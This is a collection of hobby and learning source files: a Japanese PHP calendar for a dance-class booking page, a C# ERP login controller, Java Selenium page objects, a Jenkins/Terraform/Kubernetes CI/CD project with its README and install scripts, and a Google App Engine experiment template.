<a href=<?php echo 'calrendar.php?year='.$next_year.'&month='.$next_month.'&day=1'; ?>>▶</a>
</td>
<td>
<a href=<?php echo 'calrendar.php?year='.$nextyear.'&month='.$month.'&day=1'; ?>>▶▶</a>
</td>
</tr>
<tr class="info">
<th hight="30">日</td>
<th>月</th>
<th>火</th>
<th>水</th>
<th>木</th>
<th>金</th>
<th>土</th>
</tr>
<?php
// 画面に表示するデフォルトを1に設定
$day=1;
// 週の数に合わせて縦線生成
for($i=1; $i <= $total_week; $i++){?>
<tr>
<?php
// よこ生成
for ($j = 0; $j < 7; $j++) {
// 始まる週で始まる曜日より$jが小さいか、最後の週で$jが最後の曜日より大きいなら表示しない
echo '<td height="50" valign="top">';
if (!(($i == 1 && $j < $start_week) || ($i == $total_week && $j > $last_week))) {
if ($j == 0) {
// $jが 0日曜日なので赤文字
$style = "holy";
} else if ($j == 6) {
// $jが0だったら土曜日なので青文字
$style = "blue";
} else {
// その以外の平日黒文字
$style = "black";
}
// 今日だったら太文字
if ($year == $thisyear && $month == $thismonth && $day == date("j")) {
// 日出力
echo '<font class='.$style.'>';
echo $day;
echo '</font>';
} else {
echo '<font class='.$style.'>';
echo $day;
echo '</font>';
}
// 日ぞうか
$day++;
}
echo '</td>';
}
?>
</tr>
<?php } ?>
</table>
</div>
</body>
</html><file_sep>/calendar.php
<?php
// 現在の年月を取得
$year = date('Y');
$month = date('n');
// 月末日を取得
$last_day = date('j', mktime(0, 0, 0, $month + 1, 0, $year));
$calendar = array();
$j = 0;
// 月末日までループ
for ($i = 1; $i < $last_day + 1; $i++) {
// 曜日を取得
$week = date('w', mktime(0, 0, 0, $month, $i, $year));
// 1日の場合
if ($i == 1) {
// 1日目の曜日までをループ
for ($s = 1; $s <= $week; $s++) {
// 前半に空文字をセット
$calendar[$j]['day'] = '';
$j++;
}
}
// 配列に日付をセット
$calendar[$j]['day'] = $i;
$j++;
// 月末日の場合
if ($i == $last_day) {
// 月末日から残りをループ
for ($e = 1; $e <= 6 - $week; $e++) {
// 後半に空文字をセット
$calendar[$j]['day'] = '';
$j++;
}
}
}
?><file_sep>/calendar/calendarsouse.php
<?php
// ---- 現在の年月日を取得
$thisyear = date('Y'); // 四下駄年度
$thismonth = date('n'); // 0を含まない月
$today = date('j'); // 0を含まない日
// ------ $year, $month のデータがなければ現在の日にち
$year = isset($_GET['year']) ? $_GET['year'] : $thisyear;
$month = isset($_GET['month']) ? $_GET['month'] : $thismonth;
$day = isset($_GET['day']) ? $_GET['day'] : $today;
$prev_month = $month - 1;
$next_month = $month + 1;
$prev_year = $next_year = $year;
if ($month == 1) {
$prev_month = 12;
$prev_year = $year - 1;
} else if ($month == 12) {
$next_month = 1;
$next_year = $year + 1;
}
$preyear = $year - 1;
$nextyear = $year + 1;
$predate = date("Y-m-d", mktime(0, 0, 0, $month - 1, 1, $year));
$nextdate = date("Y-m-d", mktime(0, 0, 0, $month + 1, 1, $year));
// 全ての日数
$max_day = date('t', mktime(0, 0, 0, $month, 1, $year)); // 当月の末日
// echo '全ての日数'.$max_day.'<br />';
// 始まる曜日
$start_week = date("w", mktime(0, 0, 0, $month, 1, $year)); // 日曜日 0, 土曜日 6
// 全ての週
$total_week = ceil(($max_day + $start_week) / 7);
// 最後の曜日
$last_week = date('w', mktime(0, 0, 0, $month, $max_day, $year));
// 休日
$Holidays = Array();
$Holidays[] = array(0 => '1-1', 1 => '元日');
$Holidays[] = array(0 => '1-14', 1 => '成人の日');
$Holidays[] = array(0 => '2-11', 1 => '建国記念の日');
$Holidays[] = array(0 => '3-21', 1 => '春分の日');
$Holidays[] = array(0 => '4-29', 1 => '昭和の日');
$Holidays[] = array(0 => '4-30', 1 => '国民の休日');
$Holidays[] = array(0 => '5-1', 1 => '天皇の即位の日');
$Holidays[] = array(0 => '5-2', 1 => '国民の休日');
$Holidays[] = array(0 => '5-3', 1 => '憲法記念日');
$Holidays[] = array(0 => '5-4', 1 => 'みどりの日');
$Holidays[] = array(0 => '5-5', 1 => 'こどもの日');
$Holidays[] = array(0 => '5-6', 1 => '振替休日');
$Holidays[] = array(0 => '7-15', 1 => '海の日');
$Holidays[] = array(0 => '8-11', 1 => '山の日');
$Holidays[] = array(0 => '8-12', 1 => '振替休日');
$Holidays[] = array(0 => '9-16', 1 => '敬老の日');
$Holidays[] = array(0 => '9-23', 1 => '秋分の日');
$Holidays[] = array(0 => '10-14', 1 => '体育の日');
$Holidays[] = array(0 => '10-22', 1 => '即位礼正殿の儀の行われる日');
$Holidays[] = array(0 => '11-3', 1 => '文化の日');
$Holidays[] = array(0 => '11-4', 1 => '振替休日');
$Holidays[] = array(0 => '11-23', 1 => '勤労感謝の日');
?><file_sep>/index.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ダンス教室予約ページ</title>
<style type="text/css">
table {
width: 100%;
}
table th {
background: #EEEEEE;
}
table th,
table td {
border: 1px solid #CCCCCC;
text-align: center;
padding: 5px;
}
</style>
</head>
<body>
<?php include('calendar.php') ?>
<?php echo $year; ?>年<?php echo $month; ?>月のカレンダー
<br>
<br>
<table>
<tr>
<th>日</th>
<th>月</th>
<th>火</th>
<th>水</th>
<th>木</th>
<th>金</th>
<th>土</th>
</tr>
<tr>
<?php $cnt = 0; ?>
<?php foreach ($calendar as $key => $value): ?>
<td>
<?php $cnt++; ?>
<?php echo $value['day']; ?>
</td>
<?php if ($cnt == 7): ?>
</tr>
<tr>
<?php $cnt = 0; ?>
<?php endif; ?>
<?php endforeach; ?>
</tr>
</table>
</body>
</html> | 8b831de1faf6a0acc1252abda285b5736571c50c | [
"PHP"
] | 5 | PHP | yuniyoon/calendar | d40e258a329fba3b1a603a3320eb8026db3dee5d | d1145b9088c9caf9dca6e9ee4fbbe91ff6b3c1e5 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace ERP.Controllers
{
public class HomeController : Controller
{
//
// GET: /Home/
public ActionResult Index()
{
if (Session["sess_USER_NO"] == null)
{
Response.Redirect("~/login");
}
else
return View();
return View();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Data.Entity;
namespace ERP.Controllers
{
public class LoginController : Controller
{
//
// GET: /Login/
private ERPEntities db = new ERPEntities();
public ActionResult Index()
{
if (Session["sess_USER_NO"] != null)
{
Response.Redirect("~/home");
}
else
{
return View();
}
return View();
}
[HttpPost]
public ActionResult Index(SEC_USER sec_user)
{
SEC_USER_LOGIN_Result user = db.SEC_USER_LOGIN(sec_user.USER_NAME, sec_user.USER_PWD, 1).FirstOrDefault();
//SEC_USER(sec_user.USER_NAME, sec_user.USER_PWD, null).FirstOrDefault();
if (user != null && user.USER_NO > 0)
{
string sess_id = Session.SessionID;
string ip_addr = Request.ServerVariables["REMOTE_ADDR"];
// string device_id = CustomValidator.GetDeviceId();
SEC_USER_LOGONS_INSERT_Result LOGON_NO = db.SEC_USER_LOGONS_INSERT(user.USER_NO, ip_addr, null, null, null, null, sess_id, null, null).First();
Session["sess_sec_users"] = user;
Session["sess_USER_NO"] = user.USER_NO;
Session["sess_USER_NAME"] = user.USER_NAME;
Session["sess_LOGON_NO"] = LOGON_NO;
Response.Redirect("~/home");
}
return View();
}
public ActionResult Logout()
{
Session.Abandon();
Response.Redirect("~/login");
return View();
}
public ActionResult Home()
{
decimal USER_NO = decimal.Parse(Session["sess_USER_NO"].ToString());
//decimal? expense_approve_count = db.TRN_EXPENSE_APPROVAL_COUNT(USER_NO).FirstOrDefault();
//ViewBag.expense_approve_count = expense_approve_count;
return View();
}
}
}
| c43c0d79bcb1dd2a62e5132d28f545f79ef9fefe | [
"C#"
] | 2 | C# | titucse1/ERP | a1d23fbe8094da3fdfa51e81878b26005aa70e84 | aec7786d870ecf00b4dce22fe0f26ee2b71a2368 |
refs/heads/master | <repo_name>SamGustavson/Aliexpress<file_sep>/src/test/java/core/Reporter.java
package core;
public class Reporter {
public static void log(String s, int i, boolean b) {
}
}
<file_sep>/test.properties
test.timeout=30
test.browser=chrome
test.login= <EMAIL>
test.password= <PASSWORD>
test.aliURL=http://aliexpress.com
<file_sep>/src/test/java/pages/HomePage.java
package pages;
import core.Driver;
import org.openqa.selenium.By;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.interactions.Actions;
import org.openqa.selenium.support.FindBy;
import org.openqa.selenium.support.How;
public class HomePage extends BasePage {
private Actions actions = new Actions(driver);
@FindBy(xpath = "//div[@class='ui-window-content']/a")
private WebElement popUpWindow;
@FindBy(xpath = "//div[@class='ui-mask']")
private WebElement backgroundWeblelement;
@FindBy(xpath = "//div[@class=\"ng-item ng-goto-globalsite\"]/a")
private WebElement changeLanguage;
@FindBy(xpath = "//div[@class=\"categories-content-title\"]//a")
private WebElement categoryElement;
@FindBy(xpath = "//span[@class=\"account-unsigned\"]/a[@data-role='sign-link']")
private WebElement sign_in_button;
@FindBy(xpath = "//a[@class='sign-btn']")
private WebElement sign_in_button_2;
@FindBy(xpath = "//div[@class=\"categories\"]/div")
private WebElement allcategory;
@FindBy(xpath = "//a[@id=\"switcher-info\"]/span")
private WebElement switcherMenu;
@FindBy(xpath = "//div[@class=\"list-title fold\"]/span")
private WebElement listTitleFold;
@FindBy(xpath = "//div[@class=\"list-container\"]//a")
private WebElement listContainer;
@FindBy(xpath = "//div[@data-role=\"switch-currency\"]//a")
private WebElement switchCurrency;
@FindBy(xpath = "//div[@data-role=\"switch-currency\"]//a[contains(text() , 'US')]")
private WebElement switchCurrencyText;
@FindBy(xpath = "//div[@class=\"switcher-common\"]//button")
private WebElement switcherMenuCcommon;
@FindBy(xpath = "//a[contains(text(), 'Men') and contains(text(), \"Backpacks\")]")
private WebElement mensLuggage;
@FindBy(xpath = "//dl[@class=\"cl-item cl-item-shoes\"]//a")
private WebElement bagsAndShoes;
private static By POPUP_WINDOW = By.xpath("//div[@class='ui-window-content']/a");
@FindBy(how = How.XPATH, using = "//div[@class=\"search-key-box\"]/input")
private static WebElement searchField;
public HomePage navigateToHomePage() {
driver.get(System.getProperty("test.aliURL"));
return this;
}
public HomePage closeCoupon() {
popUpWindow.click();
BasePage.waitForElementNotVisible(backgroundWeblelement, 3);
return this;
}
public HomePage changeGoToGlobalSite() {
changeLanguage.click();
return this;
}
public LoginPage openLoginPage() {
BasePage.waitForElementVisible(categoryElement, 3);
actions.moveToElement(sign_in_button).build().perform();
BasePage.waitForElementVisible(sign_in_button_2, 3);
sign_in_button.click();
return new LoginPage();
}
public boolean homePageisOpened() {
BasePage.waitForElementVisible(backgroundWeblelement, 3);
return BasePage.isElementPresent(POPUP_WINDOW);
}
public SearchResultPage openResultPage() {
BasePage.waitForElementVisible(categoryElement, 3);
actions.moveToElement(allcategory).build().perform();
BasePage.waitForElementVisible(bagsAndShoes, 3);
actions.moveToElement(bagsAndShoes).build().perform();
BasePage.waitForElementVisible(mensLuggage, 3);
actions.moveToElement(mensLuggage).build().perform();
mensLuggage.click();
return new SearchResultPage();
}
public HomePage changeCurrency() {
switcherMenu.click();
listTitleFold.click();
Actions actions = new Actions(Driver.get());
actions.moveToElement(listContainer).click().build().perform();
switchCurrency.click();
switchCurrencyText.click();
switcherMenuCcommon.click();
return this;
}
public SearchResultPage setTextInSerchField(String search_parameter) {
searchField.click();
searchField.sendKeys(search_parameter);
searchField.sendKeys(Keys.ENTER);
return new SearchResultPage();
}
}
<file_sep>/src/test/java/pages/ShoppingCartPage.java
package pages;
import org.openqa.selenium.By;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.FindBy;
import java.util.List;
import java.util.concurrent.TimeUnit;
public class ShoppingCartPage extends BasePage{
@FindBy(xpath = "//tr[@class='item-product']")
private WebElement items ;
@FindBy(xpath = "//div[@class=\"product-remove\"]//a")
private WebElement removeButton;
@FindBy(xpath = "//div[@id=\"notice\"]")
private WebElement emptyBasket;
private By iTems = By.xpath("//tr[@class='item-product']//dd/a");
public String getListItems() {
driver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);
List<WebElement>elementList = driver.findElements(iTems);
String text = null;
for(WebElement el: elementList) {
text += el.getText();
}
driver.manage().timeouts().implicitlyWait(Integer.parseInt(System.getProperty("test.timeout")), TimeUnit.SECONDS);
return text;
}
public void removeItemFromBasket(){
removeButton.click();
}
}
<file_sep>/src/test/java/tests/BeforeAfter.java
package tests;
import core.Driver;
import org.junit.After;
import org.junit.Before;
// will be used in BDD
public class BeforeAfter {
@Before
public void setUp() throws Exception {
Driver.init();
}
@After
public void tearDown() {
Driver.tearDown();
}
}
| 7099b7c4741c83ebe169785f1538e718568fe4ec | [
"Java",
"INI"
] | 5 | Java | SamGustavson/Aliexpress | 47785ce9efc439fa8febe75e372483014eb16d84 | e83358af6b4ec6252c688e4b1c4059813377aa6c |
refs/heads/main | <repo_name>RacketyWater7/mern-memories-project<file_sep>/client/src/actions/auth.js
import { AUTH } from "../constants/actionTypes";
import * as api from "../api";
export const signin = (formData, history) => async (dispatch) => {
try {
// log in the user
const { data } = await api.signIn(formData);
dispatch({ type: AUTH, data });
// navigating back to home page
history.push("/");
} catch (error) {
console.log(error);
}
};
// redux workflow of signIn: at first, a method is dispatched from the front-end,(this method is given the data to be
// processed and along with that, the history. then> it is referred in the actions, in actions,
// an API request is made, it goes and takes the specific url from the URLs js file,
//and fires it and fetched data is received with the specific type and passed over to the reducers
export const signup = (formData, history) => async (dispatch) => {
try {
// sign up the user
const { data } = await api.signUp(formData);
dispatch({ type: AUTH, data });
// navigating back to home page
history.push("/");
} catch (error) {
console.log(error);
}
};
| 0e7b73378d844be5102d2b24f46da894445356df | [
"JavaScript"
] | 1 | JavaScript | RacketyWater7/mern-memories-project | c26cdd060dfbad19adf8006b6d6583e4e216d69d | 66d59e82b2f90b4f8b1b0096580cafeae82d2901 |
refs/heads/main | <repo_name>vpec/helloworld-pipeline<file_sep>/helloworld-rest/settings.gradle
rootProject.name = 'helloworld-rest'
<file_sep>/terraform/install_jenkins.sh
#!/bin/bash
sudo yum -y update
echo "Install Java JDK 8"
sudo yum remove -y java
sudo yum install -y java-1.8.0-openjdk-devel
echo "Install git"
sudo yum install -y git
echo "Install Docker"
sudo yum install docker -y
sudo chkconfig docker on
echo "Install Jenkins"
sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat/jenkins.io.key
sudo yum install -y jenkins
sudo chkconfig jenkins on
sudo usermod -aG docker jenkins
sudo service docker start
sudo service jenkins start
<file_sep>/test/endpoint-test.sh
#!/bin/bash
endpoint="$1"
expected_result="Hello World!"
echo "Checking endpoint "$endpoint""
result=$(curl "$endpoint")
if [ "$result" == "$expected_result" ]; then
echo "Test passed: endpoint responded \"$result\""
exit 0
else
echo "Test failed: endpoint responded \"$result\" , \"$expected_result\" was expected"
exit 1
fi
<file_sep>/test/multi-request.sh
#!/bin/bash
i=$1
endpoint=$2
while [[ $i -gt 0 ]] ; do
curl $endpoint
(( i -= 1 ))
echo
echo "$i requests left"
done
<file_sep>/init_kubernetes.sh
#!/bin/bash
kubectl apply -f kubernetes/fluentd-daemonset.yaml
kubectl apply -f kubernetes/helloworld-deployment.yaml
kubectl expose deployment helloworld-rest-app --type=LoadBalancer --name=load-balancer-service<file_sep>/README.md
# helloworld-pipeline: Automated CI/CD pipeline and Kubernetes deployment
The purpose of this repository is to create a **continuous integration and continuous deployment pipeline** for a helloworld application, ending with a **Kubernetes deployment**.
The technologies used in this project are: Spring Boot, Terraform, Jenkins, AWS EC2, AWS Lambda, Docker, Docker Compose, Kubernetes, Minikube, ElasticSearch, FluentD, Kibana.
The main elements are located in the following folders:
- helloworld-rest: spring boot application with an endpoint ("/") that returns the string "Hello World!".
- terraform: continuous integration pipeline. It contains terraform manifests for deploying the pipeline to AWS. Currently launches an EC2 instance on which a Jenkins server is automatically created. It also creates a lambda function in AWS that is used to facilitate continuous deployment.
- kubernetes: manifests to create a Kubernetes cluster on which the helloworld application is deployed.
**IMPORTANT NOTES**
1. This project has been created and tested on a Linux host machine (Debian 10). Some commands, scripts or steps may differ if you are running a different OS on your machine.
2. Currently new AWS accounts have a limited amount of cpu instances that can be active at the same time: just 1 cpu instance. Changing this limit takes some time as you need to contact technical support in order to get it changed. The initial idea of this project was to deploy the different parts of it (CI/CD pipeline and Kubernetes cluster) to AWS, so the integration between them would be easier. As this has not been possible due to the limitation, some parts of the resulting system are not completely integrated. For example, instead of running the Kubernetes cluster in Amazon EKS, I have used minikube to deploy a local cluster.
3. Although I was familiar with many of the concepts applied in this project and I had hands-on experience with some of them (SpringBoot REST APIs, containers, CI tools, monitarization...), this is my first hands-on experience using Terraform, Jenkins, AWS, Kubernetes, Minikube, ElasticSearch, FluentD and Kibana. The scripts and manifests included in this repo may not follow all the best practices as this project has been made in limited time, so please be kind :)
## HelloWorld REST application
To test the pipeline and deployment, a simple Spring Boot application has been created. After running it, it returns "Hello World!" as a response when a request is made. Gradle has been used as build tool. Also a test folder was created. It contains a single very simple test that is executed with `gradle test`. The purpose of this test is to use it in the pipeline to symbolize the execution of automated tests in a real application.
The application.properties file specifies to print Tomcat server logs to `stdout`. The reason for this decision is explained in the [Logging and Monitoring](#logging-and-monitoring) section.
## CI/CD Jenkins Pipeline
I have used Jenkins for the creation of the pipeline. To host the Jenkins server I used an AWS EC2 (Free Tier) instance. The deployment of this instance has been done taking into account the concept of Infrastructure as Code. Terraform has been used to specify the details of the infrastructure. To perform the deployment simply run these commands from the main directory of the repo:
```
$ cd terraform
$ terraform init
$ terraform plan
$ terraform apply -auto-approve
```
Once `terraform apply` finishes, it will print the URL to access the EC2 instance.

To run this commands you have to configure first the `home/user/.aws/credentials` file, as you need some credentials to deploy to AWS.
The terraform directory also includes a script (*install_jenkins.sh*) that is injected into the EC2 instance, which is executed right after being deployed. This script installs Jenkins and Docker in the virtual machine, and creates a Jenkins service.
Some manual steps have to be done once the instance is deployed in order to create the pipeline:
1. If you use a Free Tier instance, be patient. While you may SSH the virtual machine, depending on the AWS instance configuration some actions can take some time. Getting the Jenkins server up and running could take up to several minutes. You can check the Jenkins service status by sshing the machine and executing `sudo systemctl status jenkins`.
2. Connect to it using ssh and get Jenkins' admin password: `sudo cat /var/lib/jenkins/secrets/initialAdminPassword`.
3. Access to Jenkins (port 8080 by default) and install these plugins: GitHub, Docker, Docker API, Docker Pipeline, Pipeline: AWS Steps.
4. Set up your Docker Hub Credentials on Jenkins: Click Credentials -> global -> Add Credentials, choose Username with password as Kind, enter the Docker Hub username and password and use `dockerHubCredentials` for ID.
5. Set up your AWS Credentials on Jenkins: Click Credentials -> global -> Add Credentials, choose Username with password as Kind, enter the username (*aws_access_key_id*) and password (*aws_secret_access_key*) and use `awsCredentials` for ID.
6. **Create the pipeline**. Click New item -> Multibranch pipeline. Add GitHub source and specify your repo URL (if your repo is private you will have to provide credentials). In this case I used this repo.

Apply and save your changes.
7. If the pipeline Git scanning step doesn't work properly, you might have to change GitHub API request limit: Click Configure System -> GitHub API usage -> Select Throttle at/near rate limit.
### Pipeline structure
The pipeline created above is a Multibranch Pipeline. This type of pipeline scans all branches of the specified repository, and creates for each of them a pipeline based on a Jenkinsfile. Jenkins periodically polls the remote repository and executes the pipeline if a new commit has been made to any of the branches.

Let's take a look at the pipeline I designed for this project.
It contains 3 steps: Build, Test and Deploy.
1. **Build**: Executes gradle build, creating a jar file that contains the Spring Boot application.
2. **Test**: Runs automated tests. In this case it only executes the simple test mentioned in the beginning of this ReadMe.
3. **Deploy**: It builds a docker image (using a Dockerfile) of the helloworld application build (jar file). It pushes the image to the DockerHub public registry. Actually, it pushes 2 images: one tagged with the commit ID, and another one tagged as 'latest'. Then, it triggers the lambda function (this is intended to notify Kubernetes cluster so it pulls the new 'latest' image). Finally it removes the local docker images.

This last step (Deploy) is only executed if the branch is 'main', because usually a commit to the main branch of a repository means that it is a version ready for production deployment. Other branches could be configured too. For example, a commit from 'develop' could trigger a deployment to a UAT environment.
**NOTE:** As it is mentioned in the Jenkinsfile, every pipeline workload should be executed from within an isolated node, as it is considered a best practice. In this case, as the Free Tier EC2 instance resources were so limited, I didn't follow this practice. Also, in a real environment it would be advisable to deploy the Jenkins server following a master-worker architecture, and execute these heavy pipeline workloads inside the worker nodes.
#### CD using AWS Lambda:
The role of the lambda function here is to trigger a Kubernetes cluster update. The initial idea was to deploy the Kubernetes cluster into Amazon EKS (Elastic Kubernetes Service), but because of the limitations related to cpu instances in new AWS accounts I couldn't test it. Deploying to EKS would get easier integration between the lambda function, the Jenkins server and the cluster. At this moment, this trigger is not implemented. The function contains simply a hello world handler in NodeJS.

The idea would be to connect to the cluster and execute `kubectl set image deploy helloworld-rest-app helloworld-rest-app=vpec1/helloworld-rest-app:latest`, so the new image would be forced to rollout into the cluster. After that, you can check the new image is deployed properly checking the rollout status and rollout history on your Kubernetes cluster.
Finally, you could run some automated tests in the production environment to double-check that the deployment went well. In the *test* folder there is a simple endpoint test (*endpoint-test.sh*) written in Bash (definitely not the best testing framework :P)
## Kubernetes deployment
So far we have created a helloworld REST application and a Jenkins pipeline to provide CI/CD, now it's the moment to take a look at how the application is actually deployed. As I said before, the original idea of this project was to use Amazon EKS. As it hasn't been possible, I created a local Kubernetes cluster using [minikube](https://minikube.sigs.k8s.io/docs/) to test my solution.
First of all, initialize Kubernetes cluster with minikube (in this example I used VirtualBox as driver).
```
$ minikube start
```
Deploy ElasticSearch and Kibana servers using docker-compose. More info about this in the [Logging and Monitoring](#logging-and-monitoring) section.
```
$ sudo docker-compose -f efk/docker-compose.yaml up -d
```
Get minikube IP. This will print something like 10.0.2.2.
```
$ minikube ssh "route -n | grep ^0.0.0.0 | awk '{ print \$2 }'"
```
Replace FLUENT_ELASTICSEARCH_HOST field in kubernetes/fluentd-daemonset.yaml with previousy obtained IP.
```
env:
- name: FLUENT_ELASTICSEARCH_HOST
value: "10.0.2.2" # REPLACE with host of your elasticsearch server
```
**Note:** The next 3 commands can be executed from the script named *init_kubernetes.sh*.
Deploy fluentd daemonset to the minikube cluster.
```
$ kubectl apply -f kubernetes/fluentd-daemonset.yaml
```
Deploy the helloworld app to the minikube active cluster. This manifest deploys 5 replicas of the helloworld app.
```
$ kubectl apply -f kubernetes/helloworld-deployment.yaml
```
Create a load balancer service to expose the deployed app.
```
$ kubectl expose deployment helloworld-rest-app --type=LoadBalancer --name=load-balancer-service
```
Now you can make a request to the helloworld app. The following command opens a browser tab and makes a request to the cluster.
```
$ minikube service load-balancer-service
```
You can make multiple requests to the endpoint using this bash script.
```
$ cd test
$ ./multi-request.sh <NUM_REQUESTS> <ENDPOINT>
```
One simple way to expose your Kubernetes cluster to the public Internet is to use a Load Balancer service from a cloud provider. But if you deploy to the cloud, you may want to use Ingress (e.g. using a nginx-ingress controller) as an entrypoint to your cluster, so you can route multiple services this way. Otherwise, you will have to pay for each exposed service if you use Load Balancers.
### Logging and Monitoring
One important question is whether we are going to be able to visualize the application logs (the ones generated by the Spring Boot application) and how to do it. This helloworld application prints its logs to output stream `stdout`, following [logging best practices](https://12factor.net/logs). The docker container also prints its logs to output stream, so it prints the application logs. Finally, these container logs are gathered and presented in a centralized way, so there's no need to check the specific logs of each running pod.
To manage logging and monitoring, I used the **EFK stack**. In the previous steps, I deployed ElasticSearch and Kibana using docker-compose, and also FluentD was deployed as a daemonset to the cluster. These 3 elements are going to be used to collect logs, process them, and visualize them in a Kibana local server.
If you have followed the deployment steps, now enter Kibana (http://localhost:8083) and create an index pattern. (Note that it is not the default port for Kibana. The default one gave me some problems when trying to connect via browser, so it is changed to 8083 in the manifests).
When creating the index pattern, specify "logstash-*" and select @timestamp as Time Filter field name. Then select Create index pattern. The result will be something like this:

Go to the Discover tab, and you will see the logs there. If you only want to see logs coming from the application, add a new filter and select these parameters:
- Field: kubernetes.container_name
- Operator: is
- Value: helloworld-rest-app
This way you will be able to see application logs as it is shown in the image (the moment I took the screenshot I was running only 3 replicas, that's why only 3 pods appear on the left).

### Alerting
To get alerts based on different parameters of events, two things are needed: collect metrics, and create an alert based on some rule. For example, to get information about uptime of your application, you can install HeartBeat to collect these metrics, and then create a Watcher.
To simplify HeartBeat installation, a script named *install_heartbeat.sh* is included in this repo.
In order to create a Watcher, you may need to upgrade your Kibana license (there is a 30 day trial available). Once your license is upgraded, you can now use Watcher feature. These Watchers can integrate with common communication apps (e.g. Slack) so you can get notified every time the application goes down.
<file_sep>/kubernetes/heartbeat/install_heartbeat.sh
#!/bin/bash
curl -L -O https://artifacts.elastic.co/downloads/beats/heartbeat/heartbeat-7.6.2-amd64.deb
sudo dpkg -i heartbeat-7.6.2-amd64.deb
rm heartbeat-7.6.2-amd64.deb
sudo cp heartbeat.yaml /etc/heartbeat/heartbeat.yml
sudo heartbeat setup
sudo service heartbeat-elastic start
<file_sep>/kubernetes/heartbeat/INSTALL_HEARTBEAT.md
# Heartbeat installation (Deb)
Execute *install_heartbeat.sh* script:
```
$ chmod u+x install_heartbeat.sh
$ ./install_heartbeat.sh
```
Internally, this script runs the following steps:
1. Download and install heartbeat:
```
$ curl -L -O https://artifacts.elastic.co/downloads/beats/heartbeat/heartbeat-7.6.2-amd64.deb
$ sudo dpkg -i heartbeat-7.6.2-amd64.deb
```
2. Edit the configuration:
```
$ cp heartbeat.yaml /etc/heartbeat/heartbeat.yml
```
3. Start Heartbeat:
```
$ sudo heartbeat setup
$ sudo service heartbeat-elastic start
```
| f179f1e29cabe262fdb0a7924d4e85e420de903e | [
"Markdown",
"Shell",
"Gradle"
] | 8 | Gradle | vpec/helloworld-pipeline | 41e5c1743d04d47666195b715bf0a6459627ed72 | 0151b115934434fcc26c66bdf62962b0767df38c |
refs/heads/master | <repo_name>drewhendrickson/gae-experiment-base<file_sep>/exp/js/init_exp.js
/*global $, document, window, start */
// this function runs automatically when the page is loaded
$(document).ready(function () {
// show an alert if user tries to navigate away from this page
window.onbeforeunload = function() {
return "Are you sure you want to leave this page?";
};
// load all scrips then begin the experiment
$.when(
$.getScript( "/js/lib/jquery-ui.1.11.0.min.js" ), // needed for the slider
// if you want your code to run faster over the internet,
// you can use http://code.jquery.com/ui/1.11.0/jquery-ui.min.js instead
$.getScript( "/js/exp_logic.js" ),
$.getScript( "/js/instructions.js" ),
$.getScript( "/js/demographics.js" ),
$.getScript( "/js/trial_fcns.js" ),
$.getScript( "/js/canvas_fcns.js" ),
$.getScript( "/js/slider_fcns.js" ),
$.Deferred(function( deferred ){
$( deferred.resolve );
})
).done(function(){
start();
});
});
<file_sep>/exp/backend.py
import os
import urllib
import jinja2
import webapp2
import cgi
from google.appengine.api import users
from google.appengine.ext import ndb
JINJA_ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),
extensions=['jinja2.ext.autoescape'])
class DataObject(ndb.Model):
content = ndb.TextProperty(required=True) # defaults to non-indexed
date = ndb.DateTimeProperty(auto_now_add=True, indexed=False)
class MainPage(webapp2.RequestHandler):
def get(self):
template = JINJA_ENVIRONMENT.get_template('index.html')
self.response.write(template.render())
class WriteDataObject(webapp2.RequestHandler):
def post(self):
data = DataObject()
data.content = self.request.get('content')
data.put()
application = webapp2.WSGIApplication([
('/', MainPage),
('/submit', WriteDataObject),
], debug=True)
<file_sep>/analysis/makefile
gae_data.RDa : read.R ../exp/data.csv parser.py
Rscript read.R
<file_sep>/analysis/read.R
# modify this to the location of the raw CSV downloaded from Google App Engine
input_file <- "../exp/data.csv"
# this is the location you want the python parser to write the parsed CSV file
output_file <- "tmp.csv"
# run 'python parser.py input_file output_file'
system(paste('python parser.py', input_file, output_file))
# should print: Done parsing!
# read the results of parsing into R
parsed_gae_data <- read.csv(file=output_file, header=T, stringsAsFactors=F)
# save data as a compressed RData file
saveRDS(parsed_gae_data, file="gae_data.RData")
<file_sep>/README.md
gae-experiment-base
==================
Base experiment code for web experiments that are hosted on Google App Engine For Python (2.7)
### Requires:
- Python 2.7
- Google AppEngineLauncher for Python: [here](https://developers.google.com/appengine/downloads#Google_App_Engine_SDK_for_Python)
- Google App command line tools (for downloading data from server). This must be done when starting Google AppEngineLauncher
# Running the experiment code:
### How to run locally for testing (in Chrome):
1. Open Google AppEngineLauncher
2. File -> Add Existing Application
3. Navigate to this folder
4. Click Add
5. Click Run in AppEngineLauncher
6. Navigate in browser to localhost:8080
7. Generate some data
7. To inspect the data you created, in the App Engine Launcher click on SDK Console and then on Datastore Viewer
### How to upload your experiment to the google server
1. Go to https://appengine.google.com/ and click Create Application
2. Application Identifier - only you use it but you need to know it for later
3. Application Title - this will appear as the label on the tab in the web browser of your experiment
4. Edit the first line of app.yaml to match your Application Identifier
5. In Google App Engine, click on Deploy and then enter the necessary credentials
### How to upload a new version of your experiment
1. update your field
2. Edit app.yaml to have a new version number (usually by adding one)
3. In Google App Engine, click Deploy
4. click Dashboard
5. On the dashboard, click Versions (under Main in the left bar)
6. Set your new version as Default
Instead of clicking Deploy, you can also deploy from the command line: ``` appcfg.py update . --noauth_local_webserver ```
Note: If you upload a new version of your experiment, it will still share the same datastore as your previous experiments. To remove the existing data in the datastore, either create a new experiment (with a different application identifier) or delete all data in the datastore.
### How to check on the data once deployed to the web
1. Open the dashboard for your experiment (via Google App Engine)
2. Click Datastore Viewer (under Data in the left bar)
3. Enjoy
## After running the experiment:
### Download data from the GAE webpage:
enter this at the command line:
```
appcfg.py download_data --config_file=bulkloader.yaml --filename=data.csv --kind=DataObject --url=http://<app_name>.appspot.com/_ah/remote_api
```
You should subsititute the name of your experiment for <app_name> above.
Note: The local testing in Google App Engine currently doesn't support batch download
### Misc Notes:
